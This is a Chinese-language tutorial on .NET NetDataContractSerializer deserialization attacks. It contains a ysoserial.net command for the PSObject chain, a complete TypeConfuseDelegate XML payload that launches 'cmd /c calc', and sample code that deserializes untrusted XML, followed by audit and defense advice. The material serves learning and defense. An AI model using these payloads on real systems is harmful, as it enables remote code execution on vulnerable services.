.net反序列化之NetDataContractSerializer
字数 1424 2025-08-05 08:17:36

.NET反序列化之NetDataContractSerializer深度解析

1. NetDataContractSerializer概述

NetDataContractSerializer是.NET框架中用于序列化和反序列化Windows Communication Foundation (WCF)消息中发送数据的类,位于System.Runtime.Serialization命名空间。

主要特点:

  • 与DataContractSerializer的关键区别:在序列化的XML中包含CLR类型信息
  • 要求序列化和反序列化端使用相同的CLR类型
  • 可以序列化应用了DataContractAttribute或SerializableAttribute属性的类型
  • 也能序列化实现了ISerializable接口的类型
  • 实现XmlObjectSerializer和IFormatter接口

2. 基本使用示例

微软官方提供的演示代码展示了NetDataContractSerializer的基本用法:

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;

namespace NetDataContractDeserialize
{
    [DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
    class Person : IExtensibleDataObject
    {
        [DataMember()]
        public string FirstName;
        [DataMember]
        public string LastName;
        [DataMember()]
        public int ID;

        public Person(string newfName, string newLName, int newID)
        {
            FirstName = newfName;
            LastName = newLName;
            ID = newID;
        }

        private ExtensionDataObject extensionData_Value;

        public ExtensionDataObject ExtensionData
        {
            get { return extensionData_Value; }
            set { extensionData_Value = value; }
        }
    }

    public sealed class Test
    {
        public static void Main()
        {
            try
            {
                WriteObject("NetDataContractSerializerExample.xml");
                ReadObject("NetDataContractSerializerExample.xml");
            }
            catch (SerializationException serExc)
            {
                Console.WriteLine("Serialization Failed");
                Console.WriteLine(serExc.Message);
            }
            catch (Exception exc)
            {
                Console.WriteLine(
                "The serialization operation failed: {0} StackTrace: {1}",
                exc.Message, exc.StackTrace);
            }
            finally
            {
                Console.WriteLine("Press <Enter> to exit....");
                Console.ReadLine();
            }
        }

        public static void WriteObject(string fileName)
        {
            Console.WriteLine("Creating a Person object and serializing it.");
            Person p1 = new Person("Zighetti", "Barbara", 101);
            FileStream fs = new FileStream(fileName, FileMode.Create);
            XmlDictionaryWriter writer = XmlDictionaryWriter.CreateTextWriter(fs);
            NetDataContractSerializer ser = new NetDataContractSerializer();
            ser.WriteObject(writer, p1);
            writer.Close();
        }

        public static void ReadObject(string fileName)
        {
            Console.WriteLine("Deserializing an instance of the object.");
            FileStream fs = new FileStream(fileName, FileMode.Open);
            XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
            NetDataContractSerializer ser = new NetDataContractSerializer();
            Person deserializedPerson = (Person)ser.ReadObject(reader, true);
            fs.Close();
            Console.WriteLine(String.Format("{0} {1}, ID: {2}",
            deserializedPerson.FirstName, deserializedPerson.LastName,
            deserializedPerson.ID));
        }
    }
}

生成的XML示例:

<Customer z:Id="1" z:Type="NetDataContractDeserialize.Person" z:Assembly="NetDataContractSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://www.contoso.com" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
  <FirstName z:Id="2">Zighetti</FirstName>
  <ID>101</ID>
  <LastName z:Id="3">Barbara</LastName>
</Customer>

3. 安全漏洞与攻击链

3.1 PSObject攻击链

在ysoserial.net中有多个攻击链适用于NetDataContractSerializer,其中PSObject攻击链有严格限制:

  • 目标系统必须未修补CVE-2017-8565漏洞(发布于2017年7月11日)
  • 使用命令:ysoserial.exe -f NetDataContractSerializer -g PSObject -t -c calc

攻击原理:

  1. 反序列化函数读取CliXml值进行反序列化
  2. 经过多次调用后进入PSDeserializer.DeserializeAsList()
  3. 当对象为CimInstance实例时,调用RehydrateCimInstance()和RehydrateCimInstanceProperty()
  4. 在RehydrateCimInstanceProperty中,type参数可控
  5. 进入ConvertEnumerableToArray,获取元素并通过LanguagePrimitives.ConvertTo()转换类型
  6. 最终在FigureParseConversion方法中通过toType.GetMethod("Parse", ...)调用XamlReader.Parse()触发RCE

3.2 TypeConfuseDelegate攻击链

攻击XML示例:

<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
  <Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count>
  <Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns="">
    <_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System">
      <Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns="">
        <a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>
        <a:delegateEntry z:Id="7">
          <a:assembly z:Ref="6" i:nil="true"/>
          <a:delegateEntry i:nil="true"/>
          <a:methodName z:Id="8">Compare</a:methodName>
          <a:target i:nil="true"/>
          <a:targetTypeAssembly z:Ref="6" i:nil="true"/>
          <a:targetTypeName z:Id="9">System.String</a:targetTypeName>
          <a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
        </a:delegateEntry>
        <a:methodName z:Id="11">Start</a:methodName>
        <a:target i:nil="true"/>
        <a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>
        <a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>
        <a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
      </Delegate>
      <method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
        <Name z:Ref="11" i:nil="true"/>
        <AssemblyName z:Ref="12" i:nil="true"/>
        <ClassName z:Ref="13" i:nil="true"/>
        <Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>
        <Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>
        <MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType>
        <GenericArguments i:nil="true"/>
      </method0>
      <method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
        <Name z:Ref="8" i:nil="true"/>
        <AssemblyName z:Ref="6" i:nil="true"/>
        <ClassName z:Ref="9" i:nil="true"/>
        <Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>
        <Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>
        <MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType>
        <GenericArguments i:nil="true"/>
      </method1>
    </_comparison>
  </Comparer>
  <Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version>
  <Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns="">
    <string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c calc</string>
    <string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string>
  </Items>
</ArrayOfstring>

反序列化代码:

using System.IO;
using System.Runtime.Serialization;
using System.Xml;

namespace NetDataContractDeserialize
{
    public class Program
    {
        public static void Main()
        {
            FileStream fs = new FileStream("1.xml", FileMode.Open);
            XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
            NetDataContractSerializer ser = new NetDataContractSerializer();
            ser.ReadObject(reader, true);
            fs.Close();
        }
    }
}

4. 安全审计要点

审计NetDataContractSerializer相关代码时需关注:

  1. 传入XML的内容是否可控
  2. 自定义DataContractResolver类型解析器对type的处理
  3. 构造函数的IDataContractSurrogate参数及其实现
  4. 反序列化过程中类型解析的安全性

5. 防御措施

  1. 避免反序列化不可信的XML数据
  2. 更新系统补丁,特别是修复CVE-2017-8565
  3. 使用更安全的序列化替代方案
  4. 实施严格的输入验证
  5. 在反序列化前检查XML内容

6. 总结

NetDataContractSerializer因其包含CLR类型信息的特性,在提供灵活性的同时也带来了安全风险。理解其工作原理和潜在的攻击向量对于构建安全的.NET应用程序至关重要。开发者应当谨慎处理反序列化操作,特别是在处理来自不可信源的XML数据时。

.NET反序列化之NetDataContractSerializer深度解析 1. NetDataContractSerializer概述 NetDataContractSerializer是.NET框架中用于序列化和反序列化Windows Communication Foundation (WCF)消息中发送数据的类,位于System.Runtime.Serialization命名空间。 主要特点: 与DataContractSerializer的关键区别:在序列化的XML中包含CLR类型信息 要求序列化和反序列化端使用相同的CLR类型 可以序列化应用了DataContractAttribute或SerializableAttribute属性的类型 也能序列化实现了ISerializable接口的类型 实现XmlObjectSerializer和IFormatter接口 2. 基本使用示例 微软官方提供的演示代码展示了NetDataContractSerializer的基本用法: 生成的XML示例: 3. 安全漏洞与攻击链 3.1 PSObject攻击链 在ysoserial.net中有多个攻击链适用于NetDataContractSerializer,其中PSObject攻击链有严格限制: 目标系统必须未修补CVE-2017-8565漏洞(发布于2017年7月11日) 使用命令: ysoserial.exe -f NetDataContractSerializer -g PSObject -t -c calc 攻击原理: 反序列化函数读取CliXml值进行反序列化 经过多次调用后进入PSDeserializer.DeserializeAsList() 当对象为CimInstance实例时,调用RehydrateCimInstance()和RehydrateCimInstanceProperty() 在RehydrateCimInstanceProperty中,type参数可控 进入ConvertEnumerableToArray,获取元素并通过LanguagePrimitives.ConvertTo()转换类型 最终在FigureParseConversion方法中通过toType.GetMethod("Parse", ...)调用XamlReader.Parse()触发RCE 3.2 TypeConfuseDelegate攻击链 攻击XML示例: 反序列化代码: 4. 安全审计要点 审计NetDataContractSerializer相关代码时需关注: 传入XML的内容是否可控 自定义DataContractResolver类型解析器对type的处理 构造函数的IDataContractSurrogate参数及其实现 反序列化过程中类型解析的安全性 5. 防御措施 避免反序列化不可信的XML数据 更新系统补丁,特别是修复CVE-2017-8565 使用更安全的序列化替代方案 实施严格的输入验证 在反序列化前检查XML内容 6. 总结 NetDataContractSerializer因其包含CLR类型信息的特性,在提供灵活性的同时也带来了安全风险。理解其工作原理和潜在的攻击向量对于构建安全的.NET应用程序至关重要。开发者应当谨慎处理反序列化操作,特别是在处理来自不可信源的XML数据时。